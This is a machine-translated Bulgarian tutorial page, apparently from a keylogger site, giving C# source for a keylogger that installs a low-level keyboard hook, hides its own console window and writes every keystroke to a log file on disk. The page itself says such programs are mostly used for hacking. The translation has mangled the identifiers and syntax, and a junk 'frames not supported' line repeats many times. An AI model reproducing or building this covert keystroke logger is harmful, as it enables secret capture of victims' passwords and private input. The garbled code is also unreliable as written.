Направете своя собствена, с помощта на записване на натиснатите клавиши C #

Рамки, не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки са не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат рамки не се поддържат

Keylogger.Org: намери най-добрия си Keylogger

от Arkadeep де

Какво е Keylogger?

Молбата му програма, която се използва, за да получите всички входни клавиши на клавиатурата на. Той обикновено се използва за целите на хакерство.

Така че, нека да започнем да правим нашите собствени записване на натиснатите клавиши.

Първото изстрелване на конзолно приложение в Visual Studio.

Сега добавете пространството от имена

  • Използването sistemy.Diagnostika;
  • Използването sistemy.Okna.Form;
  • Използването sistemy.Vremya vypolneniya.InteropServices;
  • Използването sistemy.IO;

Сега добавете някои частни глобални променливи

Частен Int конст WH_KEYBOARD_LL = 13;
Лично вътр Конст WM_KEYDOWN = 0x0100;
Лично статично LowLevelKeyboardProc _proc = HookCallback;
Лично статично показалка intptr _hookID = intptr.Nol тип;

Сега, в основната (функцията)

Var копче = GetConsoleWindow ();
showwindow функция (писалки, SW_HIDE); // да се скрие работеща програма
с _hookID = sethook (_proc);
Prilozheniya.Vypolnit ();
UnhookWindowsHookEx (_hookID);

Сега добавете този код извън основната (функцията)

Лично статично показалка intptr с sethook (LowLevelKeyboardProc Proc)
като се използва (curProcess = protsess.GetCurrentProcess () метод)
като се използва (curModule ProcessModule = curProcess.MainModule)
SetWindowsHookEx върне (WH_KEYBOARD_LL, Proc,
GetModuleHandle (curModule.Nazvanie модул), 0);
>
>

Частен делегат индекс intptr LowLevelKeyboardProc (тип Int nCode, показалеца intptr параметър wparam, показалеца трябва intptr lparam);

Лично статично показалка intptr HookCallback (тип Int nCode, показалка intptr параметър wparam, показалеца трябва intptr lparam)
ако (nCode> = 0 параметър wparam == (intptr указател) WM_KEYDOWN)
Int vkCode = Marshal.ReadInt32 (lparam параметър);
Konsol.Metoda writeline ((клавиши) vkCode);
/ * За това, създайте папка с името "ABC" в dirve на C * /
Записване единица streamwriter ЕО = нов модул streamwriter запис (@ "C: \ ABC" + ' "\ log.txt", вярно);
// Модул запис streamwriter ЕО = нов модул streamwriter запис (допълнение StartupPath + @ "\ log.txt", истината).
uv.Pisat ((ключове) vkCode);
uv.Zakryt ();
>
CallNextHookEx върне (_hookID, nCode, настройка wparam, lparam мъст);
>

Сега добавете някои DLL библиотеки

[Умение dllimport ( "user32.dll", кодиране = кодиране. Авто функции SetLastError = истински)]
Лично статично externae показалка intptr SetWindowsHookEx (инт idHook, lpfn LowLevelKeyboardProc, показалка intptr hMod, uint с dwThreadId);

[Умение dllimport ( "user32.dll", кодиране = кодиране. Авто функции SetLastError = истински)]
[Връщане: чрез marshalas атрибут (unmanagedtype znachenie.Bool)]
Лично модификатор статично ученик булев и UnhookWindowsHookEx (RPA intptr показалка);

[Умение dllimport ( "user32.dll", кодиране = кодиране. Авто функции SetLastError = истински)]
Частен статичен externae указател intptr CallNextHookEx (RPA intptr тип указател Int nCode, показалеца intptr параметър wparam, показалеца трябва intptr lparam);

[Умение dllimport ( "kernel32.dll", кодиране = кодиране. Авто функции SetLastError = истински)]
Лично статично externae показалка intptr GetModuleHandle (lpModuleName линия);

[Умение dllimport ( "kernel32.dll")]
статичен externae intptr GetConsoleWindow () указател;

[Умение dllimport ( "user32.dll")]
статичен модификатор екстернант функция BOOL стойност showwindow (hwnd intptr указател елемент, Int тип nCmdShow);

и в крайна сметка направи SW_HIDE 0

конст Int SW_HIDE = 0;

Сега, след като прави всички по-горе, можете да получите съобщение за грешка, когато се използва sistemy.Okna.Form.
За да се избегне тази грешка, трябва да добавите линк от okna.Form.

Как да го направя?
Щракнете с десния бутон върху името на проекта в Solution Explorer. И върху връзката Добавяне.

Направете своя собствена, с помощта на записване на натиснатите клавиши C #

Now. Tab "Мрежа", за да изберете системата. Okna.Forma

Направете своя собствена, с помощта на записване на натиснатите клавиши C #

Направете своя собствена, с помощта на записване на натиснатите клавиши C #

Сега се изгради (натиснете F6), и да се провери дали има грешка или не. Според кода на грешката, че не е налице. Сега, стартирайте програмата.

Ако изпълните код prilozheniya.StartupPath след това проверете лог файла в кофата за боклук -> дебъгване папка. И ти също получи .EXE в тази папка. Така че се насладете.

Изтеглете пълната изходния код тук.

Начало> Статии> създавате свои собствени посредством записване на натиснатите клавиши C # .Net